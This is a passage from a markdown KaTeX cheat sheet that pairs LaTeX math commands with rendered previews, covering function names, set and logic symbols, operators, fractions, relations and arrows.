<pur>`\oint`</pur> | `KaTeX:\bigcap` | <pur>`\bigcap`</pur> | `KaTeX:\bigotimes` | <pur>`\bigotimes`</pur> | `KaTeX:\bigwedge` | <pur>`\bigwedge`</pur> | | `KaTeX:\coprod` | <pur>`\coprod`</pur> | `KaTeX:\iint` | <pur>`\iint`</pur> | `KaTeX:\bigcup` | <pur>`\bigcup`</pur> | `KaTeX:\bigodot` | <pur>`\bigodot`</pur> | `KaTeX:\bigodot` | <pur>`\bigodot`</pur> | {.show-header left-align} ### standard function name{.col-span-3} preview | method | preview | method | preview | method | preview | method :- | :- | :- | :- | :- | :- | :- | :- | `KaTeX:\arccos` | <pur>`\arccos`</pur> | `KaTeX:\arcsin` | <pur>`\arcsin`</pur> | `KaTeX:\arcsin` | <pur>`\arcsin`</pur> | `KaTeX:\arg` | <pur>`\arg`</pur> | | `KaTeX:\cos` | <pur>`\cos`</pur> | `KaTeX:\cosh` | <pur>`\cosh`</pur> | `KaTeX:\cot` | <pur>`\cot`</pur> | `KaTeX:\coth` | <pur>`\coth`</pur> | | `KaTeX:\csc` | <pur>`\csc`</pur> | `KaTeX:\deg` | <pur>`\deg`</pur> | `KaTeX:\det` | <pur>`\det`</pur> | `KaTeX:\dim` | <pur>`\dim`</pur> | | `KaTeX:\exp` | <pur>`\exp`</pur> | `KaTeX:\gcd` | <pur>`\gcd`</pur> | `KaTeX:\hom` | <pur>`\hom`</pur> | `KaTeX:\inf` | <pur>`\inf`</pur> | | `KaTeX:\ker` | <pur>`\ker`</pur> | `KaTeX:\lg` | <pur>`\lg`</pur> | `KaTeX:\lim` | <pur>`\lim`</pur> | `KaTeX:\liminf` | <pur>`\liminf`</pur> | | `KaTeX:\limsup` | <pur>`\limsup`</pur> | `KaTeX:\ln` | <pur>`\ln`</pur> | `KaTeX:\log` | <pur>`\log`</pur> | `KaTeX:\max` | <pur>`\max`</pur> | | `KaTeX:\min` | <pur>`\min`</pur> | `KaTeX:\Pr` | <pur>`\Pr`</pur> | `KaTeX:\sec` | <pur>`\sec`</pur> | `KaTeX:\sin` | <pur>`\sin`</pur> | | `KaTeX:\sinh` | <pur>`\sinh`</pur> | `KaTeX:\sup` | <pur>`\sup`</pur> | `KaTeX:\tan` | <pur>`\tan`</pur> | `KaTeX:\tanh` | <pur>`\tanh`</pur> | {.show-header left-align} #### Function names should be in roman font, not italics, for example: :- | :- | :- | :- :- | :- | :- | :- | Correct: | <pur>`\tan(at-n\pi)`</pur> | `KaTeX:\rightarrow` | `KaTeX:\tan(at-n\pi)`| | Incorrect: | <pur>`tan(at-n\pi)`</pur> | `katex:\rightarrow` | `KaTeX:tan(at-n\pi)` | {.left-align} ### Logic and Set Theory{.col-span-3} :- | :- | :- | :- | :- | :- | :- | :- :- | :- | :- | :- | :- | :- | :- | :- `KaTeX:\forall` | <pur>`\forall`</pur> | `KaTeX:\complement` | <pur>`\complement`</pur> | `KaTeX:\therefore` | <pur>`\therefore`</pur> | `KaTeX:\emptyset` | <pur>`\emptyset`</pur> `KaTeX:\exists` | <pur>`\exists`</pur> | `KaTeX:\subset` | <pur>`\subset`</pur> | `KaTeX:\because` | <pur>`\because`</pur> | `KaTeX:\empty` | <pur>`\empty`</pur> `KaTeX:\exist` | <pur>`\exist`</pur> | `KaTeX:\supset` | <pur>`\supset`</pur> | `KaTeX:\mapsto` | <pur>`\mapsto`</pur> | `KaTeX:\varnothing` | <pur>`\varnothing`</pur> `KaTeX:\nexists` | <pur>`\nexists`</pur> | `KaTeX:\mid` | <pur>`\mid`</pur> | `KaTeX:\to` | <pur>`\to`</pur> | `KaTeX:\implies` | <pur>`\implies`</pur> `KaTeX:\in` | <pur>`\in`</pur> | `KaTeX:\land` | <pur>`\land`</pur> | `KaTeX:\gets` | <pur>`\gets`</pur> | `KaTeX:\impliedby` | <pur>`\impliedby`</pur> `KaTeX:\isin` | <pur>`\isin`</pur> | `KaTeX:\lor` | <pur>`\lor`</pur> | `KaTeX:\leftrightarrow` | <pur>`\leftrightarrow`</pur> | `KaTeX:\iff` | <pur>`\iff`</pur> `KaTeX:\notin` | <pur>`\notin`</pur> | `KaTeX:\ni` | <pur>`\ni`</pur> | `KaTeX:\notni` | <pur>`\notni`</pur> | `KaTeX:\neg` `KaTeX:\lnot` | <pur>`\neg`</pur> or <pur>`\lnot`</pur> {.left-align} -------------------------------- :- | :- | :- | :- :- | :- | :- | :- `KaTeX:\Set{ x \| x<\frac 1 2 }` | <pur>\Set{ x \| x<\frac 1 2 }</pur> | `KaTeX:\set{x\|x<5}` | <pur>\set{x\|x<5}</pur> ### special symbols{.col-span-3} :- | :- | :- | :- | :- | :- :- | :- | :- | :- | :- | :- `KaTeX:\bra{\phi}` | <pur>\bra{\phi}</pur> | `KaTeX:\ket{\psi}` | <pur>\ket{\psi}</pur> | `KaTeX:\braket{\phi\|\psi}` | <pur>`\braket{\phi\|\psi}`</pur> `KaTeX:\Bra{\phi}` | <pur>\Bra{\phi}</pur> | `KaTeX:\Ket{\psi}` | <pur>\Ket{\psi}</pur> | `KaTeX:\Braket{ ϕ \| \frac{∂^2}{∂ t^2} \| ψ }` | <pur>`\Braket{ ϕ \| \frac{∂^2}{∂ t^2} \| ψ }`</pur> {.left-align} Operator -------- ### Mathematical operator {.col-span-3 row-span-2} :- | :- | :- | :- | :- | :- | :- | :- :- | :- | :- | :- | :- | :- | :- | :- `KaTeX:\arcsin` | <pur>`\arcsin`</pur> | `KaTeX:\cosec` | <pur>`\cosec`</pur> | `KaTeX:\deg` | <pur>`\deg`</pur> | `KaTeX:\sec` | <pur>`\sec`</pur> `KaTeX:\arccos` | <pur>`\arccos`</pur> | `KaTeX:\cosh` | <pur>`\cosh`</pur> | `KaTeX:\dim` | <pur>`\dim`</pur> | `KaTeX:\sin` | <pur>`\sin`</pur> `KaTeX:\arctan` | <pur>`\arctan`</pur> | `KaTeX:\cot` | <pur>`\cot`</pur> | `KaTeX:\exp` | <pur>`\exp`</pur> | `KaTeX:\sinh` | <pur>`\sinh`</pur> `KaTeX:\arctg` | <pur>`\arctg`</pur> | `KaTeX:\cotg` | <pur>`\cotg`</pur> | `KaTeX:\hom` | <pur>`\hom`</pur> | `KaTeX:\sh` | <pur>`\sh`</pur> `KaTeX:\arcctg` | <pur>`\arcctg`</pur> | `KaTeX:\coth` | <pur>`\coth`</pur> | `KaTeX:\ker` | <pur>`\ker`</pur> | `KaTeX:\tan` | <pur>`\tan`</pur> `KaTeX:\arg` | <pur>`\arg`</pur> | `KaTeX:\csc` | <pur>`\csc`</pur> | `KaTeX:\lg` | <pur>`\lg`</pur> | `KaTeX:\tanh` | <pur>`\tanh`</pur> `KaTeX:\ch` | <pur>`\ch`</pur> | `KaTeX:\ctg` | <pur>`\ctg`</pur> | `KaTeX:\ln` | <pur>`\ln`</pur> | `KaTeX:\tg` | <pur>`\tg`</pur> `KaTeX:\cos` | <pur>`\cos`</pur> | `KaTeX:\cth` | <pur>`\cth`</pur> | `KaTeX:\log` | <pur>`\log`</pur> | `KaTeX:\th` | <pur>`\th`</pur> `KaTeX:\operatorname{f}` | <pur>`\operatorname{f}`</pur> | `KaTeX:\argmax` | <pur>`\argmax`</pur> | `KaTeX:\injlim` | <pur>`\injlim`</pur> | `KaTeX:\min` | <pur>`\min`</pur> | `KaTeX:\varinjlim` | <pur>`\varinjlim`</pur> `KaTeX:\argmin` | <pur>`\argmin`</pur> | `KaTeX:\lim` | <pur>`\lim`</pur> | `KaTeX:\plim` | <pur>`\plim`</pur> | `KaTeX:\varliminf` | <pur>`\varliminf`</pur> `KaTeX:\det` | <pur>`\det`</pur> | `KaTeX:\liminf` | <pur>`\liminf`</pur> | `KaTeX:\Pr` | <pur>`\Pr`</pur> | `KaTeX:\varlimsup` | <pur>`\varlimsup`</pur> `KaTeX:\gcd` | <pur>`\gcd`</pur> | `KaTeX:\limsup` | <pur>`\limsup`</pur> | `KaTeX:\projlim` | <pur>`\projlim`</pur> | `KaTeX:\varprojlim` | <pur>`\varprojlim`</pur> `KaTeX:\inf` | <pur>`\inf`</pur> | `KaTeX:\max` | <pur>`\max`</pur> | `KaTeX:\sup` | <pur>`\sup`</pur> | `KaTeX:\operatorname*{f}` | <pur>`\operatorname*{f}`</pur> `KaTeX:\operatornamewithlimits{f}` | <pur>`\operatornamewithlimits{f}`</pur> | {.left-align} ### Big operator {.col-span-2} :- | :- | :- | :- | :- | :- | :- | :- :- | :- | :- | :- | :- | :- | :- | :- `KaTeX:\sum` | <pur>`\sum`</pur> | `KaTeX:\prod` | <pur>`\prod`</pur> | `KaTeX:\bigotimes` | <pur>`\bigotimes`</pur> | `KaTeX:\bigvee` | <pur>`\bigvee`</pur> `KaTeX:\int` | <pur>`\int`</pur> | `KaTeX:\coprod` | <pur>`\coprod`</pur> | `KaTeX:\bigoplus` | <pur>`\bigoplus`</pur> | `KaTeX:\bigwedge` | <pur>`\bigwedge`</pur> `KaTeX:\iint` | <pur>`\iint`</pur> | `KaTeX:\intop` | <pur>`\intop`</pur> | `KaTeX:\bigodot` | <pur>`\bigodot`</pur> | `KaTeX:\bigcap` | <pur>`\bigcap`</pur> `KaTeX:\iiint` | <pur>`\iiint`</pur> | `KaTeX:\smallint` | <pur>`\smallint`</pur> | `KaTeX:\biguplus` | <pur>`\biguplus`</pur> | `KaTeX:\bigcup` | <pur>`\bigcup`</pur> `KaTeX:\oint` | <pur>`\oint`</pur> | `KaTeX:\oiint` | <pur>`\oiint`</pur> | `KaTeX:\oiiint` | <pur>`\oiiint`</pur> | `KaTeX:\bigsqcup` | <pur>`\bigsqcup`</pur> {.left-align} ### Fractions and binomials {.row-span-2} :- | :- | :- | :- :- | :- | :- | :- `KaTeX:\frac{a}{b}` | <pur>`\frac{a}{b}`</pur> | `KaTeX:\tfrac{a}{b}` | <pur>`\tfrac{a}{b}`</pur> `KaTeX:{a \over b}` | <pur>`{a \over b}`</pur> | `KaTeX:\dfrac{a}{b}` | <pur>`\dfrac{a}{b}`</pur> `KaTeX:\genfrac ( ] {2pt}{1}a{a+1}` | <pur>`\genfrac ( ] {2pt}{1}a{a+1}`</pur> | `KaTeX:{a \above{2pt} b+1}` | <pur>`{a \above{2pt} b+1}`</pur> `KaTeX:a/b` | <pur>`a/b`</pur> | `KaTeX:\cfrac{a}{1 + \cfrac{1}{b}}` | <pur>`\cfrac{a}{1 + \cfrac{1}{b}}`</pur> {.left-align} :- | :- | :- | :- :- | :- | :- | :- `KaTeX:\binom{n}{k}` | <pur>`\binom{n}{k}`</pur> | `KaTeX:\dbinom{n}{k}` | <pur>`\dbinom{n}{k}`</pur> `KaTeX:{n\brace k}` | <pur>`{n\brace k}`</pur> | `KaTeX:{n \choose k}` | <pur>`{n \choose k}`</pur> `KaTeX:\tbinom{n}{k}` | <pur>`\tbinom{n}{k}`</pur> | `KaTeX:{n\brack k}` | <pur>`{n\brack k}`</pur> {.left-align} ### \sqrt {.col-span-2} :- | :- | :- | :- :- | :- | :- | :- `KaTeX:\sqrt{x}` | <pur>`\sqrt{x}`</pur> | `KaTeX:\sqrt[3]{x}` | <pur>`\sqrt[3]{x}`</pur> {.left-align} ### Binary operator {.col-span-3} :- | :- | :- | :- | :- | :- | :- | :- :- | :- | :- | :- | :- | :- | :- | :- `KaTeX:+` | <pur>`+`</pur> | `KaTeX:\cdot` | <pur>`\cdot`</pur> | `KaTeX:\gtrdot` | <pur>`\gtrdot`</pur> | `KaTeX:x \pmod a` | <pur>`x \pmod a`</pur> `KaTeX:-` | <pur>`-`</pur> | `KaTeX:\cdotp` | <pur>`\cdotp`</pur> | `KaTeX:\intercal` | <pur>`\intercal`</pur> | `KaTeX:x \pod a` | <pur>`x \pod a`</pur> `KaTeX:/` | <pur>`/`</pur> | `KaTeX:\centerdot` | <pur>`\centerdot`</pur> | `KaTeX:\land` | <pur>`\land`</pur> | `KaTeX:\rhd` | <pur>`\rhd`</pur> `KaTeX:*` | <pur>`*`</pur> | `KaTeX:\circ` | <pur>`\circ`</pur> | `KaTeX:\leftthreetimes` | <pur>`\leftthreetimes`</pur> | `KaTeX:\rightthreetimes` | <pur>`\rightthreetimes`</pur> `KaTeX:\amalg` | <pur>`\amalg`</pur> | `KaTeX:\circledast` | <pur>`\circledast`</pur> | `KaTeX:\ldotp` | <pur>`\ldotp`</pur> | `KaTeX:\rtimes` | <pur>`\rtimes`</pur> `KaTeX:\And` | <pur>`\And`</pur> | `KaTeX:\circledcirc` | <pur>`\circledcirc`</pur> | `KaTeX:\lor` | <pur>`\lor`</pur> | `KaTeX:\setminus` | <pur>`\setminus`</pur> `KaTeX:\ast` | <pur>`\ast`</pur> | `KaTeX:\circleddash` | <pur>`\circleddash`</pur> | `KaTeX:\lessdot` | <pur>`\lessdot`</pur> | `KaTeX:\smallsetminus` | <pur>`\smallsetminus`</pur> `KaTeX:\barwedge` | <pur>`\barwedge`</pur> | `KaTeX:\Cup` | <pur>`\Cup`</pur> | `KaTeX:\lhd` | <pur>`\lhd`</pur> | `KaTeX:\sqcap` | <pur>`\sqcap`</pur> `KaTeX:\bigcirc` | <pur>`\bigcirc`</pur> | `KaTeX:\cup` | <pur>`\cup`</pur> | `KaTeX:\ltimes` | <pur>`\ltimes`</pur> | `KaTeX:\sqcup` | <pur>`\sqcup`</pur> `KaTeX:\bmod` | <pur>`\bmod`</pur> | `KaTeX:\curlyvee` | <pur>`\curlyvee`</pur> | `KaTeX:x\mod a` | <pur>`x\mod a`</pur> | `KaTeX:\times` | <pur>`\times`</pur> `KaTeX:\boxdot` | <pur>`\boxdot`</pur> | `KaTeX:\curlywedge` | <pur>`\curlywedge`</pur> | `KaTeX:\mp` | <pur>`\mp`</pur> | `KaTeX:\unlhd` | <pur>`\unlhd`</pur> | `KaTeX:\boxminus` | <pur>`\boxminus`</pur> | `KaTeX:\div` | <pur>`\div`</pur> | `KaTeX:\odot` | <pur>`\odot`</pur> | `KaTeX:\unrhd` | <pur>`\unrhd`</pur> `KaTeX:\boxplus` | <pur>`\boxplus`</pur> | `KaTeX:\divideontimes` | <pur>`\divideontimes`</pur> | `KaTeX:\ominus` | <pur>`\ominus`</pur> | `KaTeX:\uplus` | <pur>`\uplus`</pur> `KaTeX:\boxtimes` | <pur>`\boxtimes`</pur> | `KaTeX:\dotplus` | <pur>`\dotplus`</pur> | `KaTeX:\oplus` | <pur>`\oplus`</pur> | `KaTeX:\vee` | <pur>`\vee`</pur> `KaTeX:\bullet` | <pur>`\bullet`</pur> | `KaTeX:\doublebarwedge` | <pur>`\doublebarwedge`</pur> | `KaTeX:\otimes` | <pur>`\otimes`</pur> | `KaTeX:\veebar` | <pur>`\veebar`</pur> `KaTeX:\Cap` | <pur>`\Cap`</pur> | `KaTeX:\doublecap` | <pur>`\doublecap`</pur> | `KaTeX:\oslash` | <pur>`\oslash`</pur> | `KaTeX:\wedge` | <pur>`\wedge`</pur> `KaTeX:\cap` | <pur>`\cap`</pur> | `KaTeX:\doublecup` | <pur>`\doublecup`</pur> | `KaTeX:\pm` | <pur>`\pm`</pur> | `KaTeX:\plusmn` | <pur>`\plusmn`</pur> `KaTeX:\wr` | <pur>`\wr`</pur>` | {.left-align} Relation --- ### Relation {.col-span-3} :- | :- | :- | :- | :- | :- | :- | :- :- | :- | :- | :- | :- | :- | :- | :- `KaTeX:=` | <pur>`=`</pur> | `KaTeX:\doteqdot` | <pur>`\doteqdot`</pur> | `KaTeX:\lessapprox` | <pur>`\lessapprox`</pur> | `KaTeX:\smile` | <pur>`\smile`</pur> `KaTeX:<` | <pur>`<`</pur> | `KaTeX:\eqcirc` | <pur>`\eqcirc`</pur> | `KaTeX:\lesseqgtr` | <pur>`\lesseqgtr`</pur> | `KaTeX:\sqsubset` | <pur>`\sqsubset`</pur> `KaTeX:>` | <pur>`>`</pur> | `KaTeX:\eqcolon` | <pur>`\eqcolon`</pur> or <pur>`\minuscolon`</pur> | `KaTeX:\lesseqqgtr` | <pur>`\lesseqqgtr`</pur> | `KaTeX:\sqsubseteq` | <pur>`\sqsubseteq`</pur> `KaTeX::` | <pur>`:`</pur> | `KaTeX:\Eqcolon` | <pur>`\Eqcolon`</pur> or <pur>`\minuscoloncolon`</pur> | `KaTeX:\lessgtr` | <pur>`\lessgtr`</pur> | `KaTeX:\sqsupset` | <pur>`\sqsupset`</pur> `KaTeX:\approx` | <pur>`\approx`</pur> | `KaTeX:\eqqcolon` | <pur>`\eqqcolon`</pur> or <pur>`\equalscolon`</pur> | `KaTeX:\lesssim` | <pur>`\lesssim`</pur> | `KaTeX:\sqsupseteq` | <pur>`\sqsupseteq`</pur> `KaTeX:\approxcolon` | <pur>`\approxcolon`</pur> | `KaTeX:\Eqqcolon` | <pur>`\Eqqcolon`</pur> or <pur>`\equalscoloncolon`</pur> | `KaTeX:\ll` | <pur>`\ll`</pur> | `KaTeX:\Subset` | <pur>`\Subset`</pur> `KaTeX:\approxcoloncolon` | <pur>`\approxcoloncolon`</pur> | `KaTeX:\eqsim` | <pur>`\eqsim`</pur> | `KaTeX:\lll` | <pur>`\lll`</pur> | `KaTeX:\subset` | <pur>`\subset`</pur> or <pur>`\sub`</pur> `KaTeX:\approxeq` | <pur>`\approxeq`</pur> | `KaTeX:\eqslantgtr` | <pur>`\eqslantgtr`</pur> | `KaTeX:\llless` | <pur>`\llless`</pur> | `KaTeX:\subseteq` | <pur>`\subseteq`</pur> or <pur>`\sube`</pur> `KaTeX:\asymp` | <pur>`\asymp`</pur> | `KaTeX:\eqslantless` | <pur>`\eqslantless`</pur> | `KaTeX:\lt` | <pur>`\lt`</pur> | `KaTeX:\subseteqq` | <pur>`\subseteqq`</pur> `KaTeX:\backepsilon` | <pur>`\backepsilon`</pur> | `KaTeX:\equiv` | <pur>`\equiv`</pur> | `KaTeX:\mid` | <pur>`\mid`</pur> | `KaTeX:\succ` | <pur>`\succ`</pur> `KaTeX:\backsim` | <pur>`\backsim`</pur> | `KaTeX:\fallingdotseq` | <pur>`\fallingdotseq`</pur> | `KaTeX:\models` | <pur>`\models`</pur> | `KaTeX:\succapprox` | <pur>`\succapprox`</pur> `KaTeX:\backsimeq` | <pur>`\backsimeq`</pur> | `KaTeX:\frown` | <pur>`\frown`</pur> | `KaTeX:\multimap` | <pur>`\multimap`</pur> | `KaTeX:\succcurlyeq` | <pur>`\succcurlyeq`</pur> `KaTeX:\between` | <pur>`\between`</pur> | `KaTeX:\ge` | <pur>`\ge`</pur> | `KaTeX:\origof` | <pur>`\origof`</pur> | `KaTeX:\succeq` | <pur>`\succeq`</pur> `KaTeX:\bowtie` | <pur>`\bowtie`</pur> | `KaTeX:\geq` | <pur>`\geq`</pur> | `KaTeX:\owns` | <pur>`\owns`</pur> | `KaTeX:\succsim` | <pur>`\succsim`</pur> `KaTeX:\bumpeq` | <pur>`\bumpeq`</pur> | `KaTeX:\geqq` | <pur>`\geqq`</pur> | `KaTeX:\parallel` | <pur>`\parallel`</pur> | `KaTeX:\Supset` | <pur>`\Supset`</pur> `KaTeX:\Bumpeq` | <pur>`\Bumpeq`</pur> | `KaTeX:\geqslant` | <pur>`\geqslant`</pur> | `KaTeX:\perp` | <pur>`\perp`</pur> | `KaTeX:\supset` | <pur>`\supset`</pur> `KaTeX:\circeq` | <pur>`\circeq`</pur> | `KaTeX:\gg` | <pur>`\gg`</pur> | `KaTeX:\pitchfork` | <pur>`\pitchfork`</pur> | `KaTeX:\supseteq` | <pur>`\supseteq`</pur> or <pur>`\supe`</pur> `KaTeX:\colonapprox` | <pur>`\colonapprox`</pur> | `KaTeX:\ggg` | <pur>`\ggg`</pur> | `KaTeX:\prec` | <pur>`\prec`</pur> | `KaTeX:\supseteqq` | <pur>`\supseteqq`</pur> `KaTeX:\Colonapprox` | <pur>`\Colonapprox`</pur> or <pur>`\coloncolonapprox`</pur> | `KaTeX:\gggtr` | <pur>`\gggtr`</pur> | `KaTeX:\precapprox` | <pur>`\precapprox`</pur> | `KaTeX:\thickapprox` | <pur>`\thickapprox`</pur> `KaTeX:\coloneq` | <pur>`\coloneq`</pur> or <pur>`\colonminus`</pur> | `KaTeX:\gt` | <pur>`\gt`</pur> | `KaTeX:\preccurlyeq` | <pur>`\preccurlyeq`</pur> | `KaTeX:\thicksim` | <pur>`\thicksim`</pur> `KaTeX:\Coloneq` | <pur>`\Coloneq`</pur> or <pur>`\coloncolonminus`</pur> | `KaTeX:\gtrapprox` | <pur>`\gtrapprox`</pur> | `KaTeX:\preceq` | <pur>`\preceq`</pur> | `KaTeX:\trianglelefteq` | <pur>`\trianglelefteq`</pur> `KaTeX:\coloneqq` | <pur>`\coloneqq`</pur> or <pur>`\colonequals`</pur> | `KaTeX:\gtreqless` | <pur>`\gtreqless`</pur> | `KaTeX:\precsim` | <pur>`\precsim`</pur> | `KaTeX:\triangleq` | <pur>`\triangleq`</pur> `KaTeX:\Coloneqq` | <pur>`\Coloneqq`</pur> or <pur>`\coloncolonequals`</pur> | `KaTeX:\gtreqqless` | <pur>`\gtreqqless`</pur> | `KaTeX:\propto` | <pur>`\propto`</pur> | `KaTeX:\trianglerighteq` | <pur>`\trianglerighteq`</pur> `KaTeX:\colonsim` | <pur>`\colonsim`</pur> | `KaTeX:\gtrless` | <pur>`\gtrless`</pur> | `KaTeX:\risingdotseq` | <pur>`\risingdotseq`</pur> | `KaTeX:\varpropto` | <pur>`\varpropto`</pur> `KaTeX:\Colonsim` | <pur>`\Colonsim`</pur> or <pur>`\coloncolonsim`</pur> | `KaTeX:\gtrsim` | <pur>`\gtrsim`</pur> | `KaTeX:\shortmid` | <pur>`\shortmid`</pur> | `KaTeX:\vartriangle` | <pur>`\vartriangle`</pur> `KaTeX:\cong` | <pur>`\cong`</pur> | `KaTeX:\imageof` | <pur>`\imageof`</pur> | `KaTeX:\shortparallel` | <pur>`\shortparallel`</pur> | `KaTeX:\vartriangleleft` | <pur>`\vartriangleleft`</pur> `KaTeX:\curlyeqprec` | <pur>`\curlyeqprec`</pur> | `KaTeX:\in` | <pur>`\in`</pur> or <pur>`\isin`</pur> | `KaTeX:\sim` | <pur>`\sim`</pur> | `KaTeX:\vartriangleright` | <pur>`\vartriangleright`</pur> `KaTeX:\curlyeqsucc` | <pur>`\curlyeqsucc`</pur> | `KaTeX:\Join` | <pur>`\Join`</pur> | `KaTeX:\simcolon` | <pur>`\simcolon`</pur> | `KaTeX:\vcentcolon` | <pur>`\vcentcolon`</pur> or <pur>`\ratio`</pur> `KaTeX:\dashv` | <pur>`\dashv`</pur> | `KaTeX:\le` | <pur>`\le`</pur> | `KaTeX:\simcoloncolon` | <pur>`\simcoloncolon`</pur> | `KaTeX:\vdash` | <pur>`\vdash`</pur> `KaTeX:\dblcolon` | <pur>`\dblcolon`</pur> or <pur>`\coloncolon`</pur> | `KaTeX:\leq` | <pur>`\leq`</pur> | `KaTeX:\simeq` | <pur>`\simeq`</pur> | `KaTeX:\vDash` | <pur>`\vDash`</pur> `KaTeX:\doteq` | <pur>`\doteq`</pur> | `KaTeX:\leqq` | <pur>`\leqq`</pur> | `KaTeX:\smallfrown` | <pur>`\smallfrown`</pur> | `KaTeX:\Vdash` | <pur>`\Vdash`</pur> `KaTeX:\Doteq` | <pur>`\Doteq`</pur> | `KaTeX:\leqslant` | <pur>`\leqslant`</pur> | `KaTeX:\smallsmile` | <pur>`\smallsmile`</pur> | `KaTeX:\Vvdash` | <pur>`\Vvdash`</pur> {.left-align} ### Negative relationship {.col-span-3} :- | :- | :- | :- | :- | :- | :- | :- :- | :- | :- | :- | :- | :- | :- | :- `KaTeX:\gnapprox` | <pur>`\gnapprox`</pur> | `KaTeX:\ngeqslant` | <pur>`\ngeqslant`</pur> | `KaTeX:\nsubseteq` | <pur>`\nsubseteq`</pur> | `KaTeX:\precneqq` | <pur>`\precneqq`</pur> `KaTeX:\gneq` | <pur>`\gneq`</pur> | `KaTeX:\ngtr` | <pur>`\ngtr`</pur> | `KaTeX:\nsubseteqq` | <pur>`\nsubseteqq`</pur> | `KaTeX:\precnsim` | <pur>`\precnsim`</pur> `KaTeX:\gneqq` | <pur>`\gneqq`</pur> | `KaTeX:\nleq` | <pur>`\nleq`</pur> | `KaTeX:\nsucc` | <pur>`\nsucc`</pur> | `KaTeX:\subsetneq` | <pur>`\subsetneq`</pur> `KaTeX:\gnsim` | <pur>`\gnsim`</pur> | `KaTeX:\nleqq` | <pur>`\nleqq`</pur> | `KaTeX:\nsucceq` | <pur>`\nsucceq`</pur> | `KaTeX:\subsetneqq` | <pur>`\subsetneqq`</pur> `KaTeX:\gvertneqq` | <pur>`\gvertneqq`</pur> | `KaTeX:\nleqslant` | <pur>`\nleqslant`</pur> | `KaTeX:\nsupseteq` | <pur>`\nsupseteq`</pur> | `KaTeX:\succnapprox` | <pur>`\succnapprox`</pur> `KaTeX:\lnapprox` | <pur>`\lnapprox`</pur> | `KaTeX:\nless` | <pur>`\nless`</pur> | `KaTeX:\nsupseteqq` | <pur>`\nsupseteqq`</pur> | `KaTeX:\succneqq` | <pur>`\succneqq`</pur> `KaTeX:\lneq` | <pur>`\lneq`</pur> | `KaTeX:\nmid` | <pur>`\nmid`</pur> | `KaTeX:\ntriangleleft` | <pur>`\ntriangleleft`</pur> | `KaTeX:\succnsim` | <pur>`\succnsim`</pur> `KaTeX:\lneqq` | <pur>`\lneqq`</pur> | `KaTeX:\notin` | <pur>`\notin`</pur> | `KaTeX:\ntrianglelefteq` | <pur>`\ntrianglelefteq`</pur> | `KaTeX:\supsetneq` | <pur>`\supsetneq`</pur> `KaTeX:\lnsim` | <pur>`\lnsim`</pur> | `KaTeX:\notni` | <pur>`\notni`</pur> | `KaTeX:\ntriangleright` | <pur>`\ntriangleright`</pur> | `KaTeX:\supsetneqq` | <pur>`\supsetneqq`</pur> `KaTeX:\lvertneqq` | <pur>`\lvertneqq`</pur> | `KaTeX:\nparallel` | <pur>`\nparallel`</pur> | `KaTeX:\ntrianglerighteq` | <pur>`\ntrianglerighteq`</pur> | `KaTeX:\varsubsetneq` | <pur>`\varsubsetneq`</pur> `KaTeX:\ncong` | <pur>`\ncong`</pur> | `KaTeX:\nprec` | <pur>`\nprec`</pur> | `KaTeX:\nvdash` | <pur>`\nvdash`</pur> | `KaTeX:\varsubsetneqq` | <pur>`\varsubsetneqq`</pur> `KaTeX:\ne` | <pur>`\ne`</pur> | `KaTeX:\npreceq` | <pur>`\npreceq`</pur> | `KaTeX:\nvDash` | <pur>`\nvDash`</pur> | `KaTeX:\varsupsetneq` | <pur>`\varsupsetneq`</pur> `KaTeX:\neq` | <pur>`\neq`</pur> | `KaTeX:\nshortmid` | <pur>`\nshortmid`</pur> | `KaTeX:\nVDash` | <pur>`\nVDash`</pur> | `KaTeX:\varsupsetneqq` | <pur>`\varsupsetneqq`</pur> `KaTeX:\ngeq` | <pur>`\ngeq`</pur> | `KaTeX:\nshortparallel` | <pur>`\nshortparallel`</pur> | `KaTeX:\nVdash` | <pur>`\nVdash`</pur> `KaTeX:\ngeqq` | <pur>`\ngeqq`</pur> | `KaTeX:\nsim` | <pur>`\nsim`</pur> | `KaTeX:\precnapprox` | <pur>`\precnapprox`</pur> `KaTeX:\not =` <pur>`\not =`</pur> ### Arrow {.col-span-3} :- | :- | :- | :- | :- | :- :- | :- | :- | :- | :- | :- `KaTeX:\circlearrowleft` | <pur>`\circlearrowleft`</pur> | `KaTeX:\leftharpoonup` | <pur>`\leftharpoonup`</pur> | `KaTeX:\rArr` | <pur>`\rArr`</pur> `KaTeX:\circlearrowright` | <pur>`\circlearrowright`</pur> | `KaTeX:\leftleftarrows` | <pur>`\leftleftarrows`</pur> | `KaTeX:\rarr` | <pur>`\rarr`</pur> `KaTeX:\curvearrowleft` | <pur>`\curvearrowleft`</pur> | `KaTeX:\leftrightarrow` | <pur>`\leftrightarrow`</pur> | `KaTeX:\restriction` | <pur>`\restriction`</pur> `KaTeX:\curvearrowright` | <pur>`\curvearrowright`</pur> | `KaTeX:\Leftrightarrow` | <pur>`\Leftrightarrow`</pur> | `KaTeX:\rightarrow` | <pur>`\rightarrow`</pur> `KaTeX:\Darr` | <pur>`\Darr`</pur> | `KaTeX:\leftrightarrows` | <pur>`\leftrightarrows`</pur> | `KaTeX:\Rightarrow` | <pur>`\Rightarrow`</pur> `KaTeX:\dArr` | <pur>`\dArr`</pur> | `KaTeX:\leftrightharpoons` | <pur>`\leftrightharpoons`</pur> | `KaTeX:\rightarrowtail` | <pur>`\rightarrowtail`</pur> `KaTeX:\darr` | <pur>`\darr`</pur> | `KaTeX:\leftrightsquigarrow` | <pur>`\leftrightsquigarrow`</pur> | `KaTeX:\rightharpoondown` | <pur>`\rightharpoondown`</pur> `KaTeX:\dashleftarrow` | <pur>`\dashleftarrow`</pur> | `KaTeX:\Lleftarrow` | <pur>`\Lleftarrow`</pur> | `KaTeX:\rightharpoonup` | <pur>`\rightharpoonup`</pur> `KaTeX:\dashrightarrow` | <pur>`\dashrightarrow`</pur> | `KaTeX:\longleftarrow` | <pur>`\longleftarrow`</pur> | `KaTeX:\rightleftarrows` | <pur>`\rightleftarrows`</pur> `KaTeX:\downarrow` | <pur>`\downarrow`</pur> | `KaTeX:\Longleftarrow` | <pur>`\Longleftarrow`</pur> | `KaTeX:\rightleftharpoons` | <pur>`\rightleftharpoons`</pur> `KaTeX:\Downarrow` | <pur>`\Downarrow`</pur> | `KaTeX:\longleftrightarrow` | <pur>`\longleftrightarrow`</pur> | `KaTeX:\rightrightarrows` | <pur>`\rightrightarrows`</pur> `KaTeX:\downdownarrows` | <pur>`\downdownarrows`</pur> | `KaTeX:\Longleftrightarrow` | <pur>`\Longleftrightarrow`</pur> | `KaTeX:\rightsquigarrow` | <pur>`\rightsquigarrow`</pur> `KaTeX:\downharpoonleft` | 